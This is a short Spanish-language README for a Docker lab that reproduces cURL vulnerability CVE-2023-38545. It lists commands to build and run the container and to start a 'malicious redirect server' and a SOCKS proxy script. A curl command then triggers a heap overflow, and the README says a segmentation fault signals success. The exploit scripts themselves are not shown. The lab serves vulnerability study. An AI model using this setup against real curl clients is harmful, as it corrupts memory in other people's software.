
Dockerfile que contiene todos los archivos de configuración necesarios para demostrar el exploit.
Esto muestra el CVE-2023-38545 de cURL. Es tan ligero como pude hacerlo.
Primero, construye la imagen Docker:
docker build . -t cveimage
A continuación, podemos simplemente ejecutar el archivo de la imagen, creando un contenedor Docker temporal que se eliminará cuando el contenedor se detenga:
docker run --rm --tty --net="host" --name cvecontainer cveimage
Si te cuesta teclear comandos, simplemente abre otra terminal y ejecuta:
docker exec -it cvecontainer /bin/bash
Ahora, necesitamos iniciar todos los servicios. Conéctate al contenedor que ya está en ejecución y ejecuta:
./exploit/malicious_redirect_server.sh &
python3 /exploit/proxy.py &
Ahora, desde dentro del contenedor puedes ver el exploit de cURL en acción:
curl -vvv --limit-rate 100 --location --proxy socks5h://127.0.0.1:1080 http://localhost:8000
Debes ver un error de fallo de segmentación en la máquina que ejecutó el comando curl para saber que el exploit tuvo éxito. Si no lo ves, o bien el exploit no ocurrió, o el proceso tenía tanto espacio de heap disponible que no sobrescribiste memoria inaccesible.